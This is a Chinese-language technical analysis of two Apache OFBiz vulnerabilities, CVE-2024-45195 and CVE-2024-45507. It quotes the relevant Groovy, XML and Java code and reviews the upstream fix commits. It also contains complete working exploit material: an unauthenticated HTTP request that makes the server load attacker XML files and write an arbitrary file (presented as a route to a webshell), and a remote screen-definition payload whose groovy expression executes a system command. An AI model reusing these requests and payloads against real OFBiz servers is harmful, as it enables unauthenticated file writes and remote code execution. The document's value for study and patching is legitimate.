浅析Apache Ofbiz CVE-2024-45195 & CVE-2024-45507
漏洞通告链接:
CVE-2024-45195
这个漏洞和之前的CVE-2024-38856原理是一样的,可以在unauth controller后面跟一个视图来覆盖,之前CVE-2024-38856的修复是直接将ProgramExport
加了个权限,CVE-2024-45195
是重新找了个screen
来写文件,具体的screen
对应的groovy
文件为ViewDataFile.groovy如下:
import java.util.*
import java.net.*
import org.apache.ofbiz.security.*
import org.apache.ofbiz.base.util.*
import org.apache.ofbiz.datafile.*
uiLabelMap = UtilProperties.getResourceBundleMap("WebtoolsUiLabels", locale)
messages = []
dataFileSave = request.getParameter("DATAFILE_SAVE")
entityXmlFileSave = request.getParameter("ENTITYXML_FILE_SAVE")
dataFileLoc = request.getParameter("DATAFILE_LOCATION")
definitionLoc = request.getParameter("DEFINITION_LOCATION")
definitionName = request.getParameter("DEFINITION_NAME")
dataFileIsUrl = null != request.getParameter("DATAFILE_IS_URL")
definitionIsUrl = null != request.getParameter("DEFINITION_IS_URL")
try {
dataFileUrl = dataFileIsUrl?new URL(dataFileLoc):UtilURL.fromFilename(dataFileLoc)
}
catch (java.net.MalformedURLException e) {
messages.add(e.getMessage())
}
try {
definitionUrl = definitionIsUrl?new URL(definitionLoc):UtilURL.fromFilename(definitionLoc)
}
catch (java.net.MalformedURLException e) {
messages.add(e.getMessage())
}
definitionNames = null
if (definitionUrl) {
try {
ModelDataFileReader reader = ModelDataFileReader.getModelDataFileReader(definitionUrl)
if (reader) {
definitionNames = ((Collection)reader.getDataFileNames()).iterator()
context.put("definitionNames", definitionNames)
}
}
catch (Exception e) {
messages.add(e.getMessage())
}
}
dataFile = null
if (dataFileUrl && definitionUrl && definitionNames) {
try {
dataFile = DataFile.readFile(dataFileUrl, definitionUrl, definitionName)
context.put("dataFile", dataFile)
}
catch (Exception e) {
messages.add(e.toString()); Debug.log(e)
}
}
if (dataFile) {
modelDataFile = dataFile.getModelDataFile()
context.put("modelDataFile", modelDataFile)
}
if (dataFile && dataFileSave) {
try {
dataFile.writeDataFile(dataFileSave)
messages.add(uiLabelMap.WebtoolsDataFileSavedTo + dataFileSave)
}
catch (Exception e) {
messages.add(e.getMessage())
}
}
if (dataFile && entityXmlFileSave) {
try {
//dataFile.writeDataFile(entityXmlFileSave)
DataFile2EntityXml.writeToEntityXml(entityXmlFileSave, dataFile)
messages.add(uiLabelMap.WebtoolsDataEntityFileSavedTo + entityXmlFileSave)
}
catch (Exception e) {
messages.add(e.getMessage())
}
}
context.messages = messages
代码很简单,两次远程url加载文件,然后可随意保存到指定位置写Webshell,复现如下:
POST /webtools/control/forgotPassword/viewdatafile HTTP/1.1
Host:
Cookie: JSESSIONID=842FA87866E065DFD2FC7B92C84E48B8.jvm1; OFBiz.Visitor=10000
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Priority: u=0, i
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 187
DATAFILE_LOCATION=http://127.0.0.1:8081/1.xml&DEFINITION_IS_URL=1&DATAFILE_IS_URL=1&DEFINITION_LOCATION=http://127.0.0.1:8081/2.xml&DATAFILE_SAVE=/tmp/2.txt&DEFINITION_NAME=TaxwareOutHead
2.xml文件内容:
<?xml version="1.0" encoding="UTF-8"?>
<data-files xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:noNamespaceSchemaLocation="https://ofbiz.apache.org/dtds/datafiles.xsd">
<data-file name="TaxwareOutHead" type-code="001" record-length="21" separator-style="fixed-record" start-line="0">
<record name="outHead">
<field name="COMPRESSION_INDICATOR" position="1" length="20" type="String"/>
</record>
</data-file>
</data-files>
1.xml文件内容:
123456789012345678901
(这里需要注意下2.xml和1.xml对应的record-length和length)上面将23456789012345678901
内容写入到/tmp/2.txt
文件中。
在最新版的Ofbiz中(18.12.16)版本引入了视图权限校验,具体issue如下:https://github.com/apache/ofbiz-framework/commit/ab78769c2d7f22bd2ca8cc77b6be4f71d8bba24f
其实这个修复issus在上个版本,也就是修复CVE-2024-38856的时候提过,不过看样子是官方觉得麻烦,就直接给ProgramExport screen加了权限,包括下面的CVE-2024-45507漏洞,也有一部分利用了这个screen覆盖功能。
CVE-2024-45507
漏洞的修复issue在:https://github.com/apache/ofbiz-framework/commit/ffb1bc487983fa672ac4fbeccf7ed7175e2accd3
允许了远程加载文件来渲染screen,比如如下这个screen
:
<screen name="StatsSinceStart">
<section>
<actions>
<set field="titleProperty" value="WebtoolsStatsMainPageTitle"/>
<set field="tabButtonItem" value="stats"/>
<script location="component://webtools/groovyScripts/stats/StatsSinceStart.groovy"/>
</actions>
<widgets>
<decorator-screen name="StatsDecorator" location="${parameters.statsDecoratorLocation}">
<decorator-section name="body">
<section>
<widgets>
<container style="page-title">
<label text="${uiLabelMap[titleProperty]}"/>
</container>
<include-menu name="StatsSinceStart" location="component://webtools/widget/Menus.xml"/>
<label>${uiLabelMap.WebtoolsStatsCurrentTime} ${nowTimestamp}</label>
<screenlet title="${uiLabelMap.WebtoolsStatsRequestStats}" padded="false">
<include-grid name="ListRequestStats" location="component://webtools/widget/StatsForms.xml"/>
</screenlet>
<screenlet title="${uiLabelMap.WebtoolsStatsEventStats}" padded="false">
<include-grid name="ListEventStats" location="component://webtools/widget/StatsForms.xml"/>
</screenlet>
<screenlet title="${uiLabelMap.WebtoolsStatsViewStats}" padded="false">
<include-grid name="ListViewStats" location="component://webtools/widget/StatsForms.xml"/>
</screenlet>
</widgets>
</section>
</decorator-section>
</decorator-screen>
</widgets>
</section>
</screen>
xml文件配置中有一段<decorator-screen name="StatsDecorator" location="${parameters.statsDecoratorLocation}">
,这里就是一个二次模板注入的问题,当程序加载到这个xml文件时候,会对上面这一段再次渲染一次,对应的代码如下:
public void renderWidgetString(Appendable writer, Map<String, Object> context, ScreenStringRenderer screenStringRenderer) throws GeneralException, IOException {
boolean condTrue = true;
if (this.condition != null) {
if (!this.condition.eval(context)) {
condTrue = false;
}
}
if (condTrue) {
AbstractModelAction.runSubActions(this.actions, context);
try {
screenStringRenderer.renderSectionBegin(writer, context, this);
renderSubWidgetsString(this.subWidgets, writer, context, screenStringRenderer);
其实全局搜索一下系统的<decorator-screen name="StatsDecorator" location="${parameters.statsDecoratorLocation}
类似结构,可以观察到绝大多数都是<decorator-screen name="main-decorator" location="${parameters.mainDecoratorLocation}">
,也就是mainDecoratorLocation
这个参数,但这个参数利用不了,可以简单看一下context中parameters
参数赋值的逻辑:
public static Map<String, Object> getCombinedMap(HttpServletRequest request, Set<? extends String> namesToSkip) {
Map<String, Object> combinedMap = new HashMap<>();
combinedMap.putAll(getParameterMap(request)); // parameters override nothing
combinedMap.putAll(getServletContextMap(request, namesToSkip)); // bottom level application attributes
combinedMap.putAll(getSessionMap(request, namesToSkip)); // session overrides application
combinedMap.putAll(getAttributeMap(request)); // attributes trump them all
return combinedMap;
}
由于mainDecoratorLocation
在web.xml
中定义了,所以在执行到第二个语句,也就是combinedMap.putAll(getServletContextMap(request, namesToSkip));
的时候,会将请求参数中的mainDecoratorLocation
给覆盖成默认值,因此不可控。
最后复现如下:
POST /webtools/control/forgotPassword/StatsSinceStart HTTP/1.1
Host:
Cookie: JSESSIONID=64FB07C6F3A047C4B6760B23070A03C0.jvm1; OFBiz.Visitor=10000
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Priority: u=0, i
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
statsDecoratorLocation=http://127.0.0.1:8081/payload.xml
payload.xml
文件内容为:
<?xml version="1.0" encoding="UTF-8"?>
<screens xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns="http://ofbiz.apache.org/Widget-Screen" xsi:schemaLocation="http://ofbiz.apache.org/Widget-Screen" http://ofbiz.apache.org/dtds/widget-screen.xsd">
<screen name="StatsDecorator">
<section>
<actions>
<set field="headerItem" value="${groovy:throw new Exception('open -a Calculator'.execute().text);}"/>
<entity-one entity-name="FinAccount" value-field="finAccount"/>
</actions>
</section>
</screen>
</screens>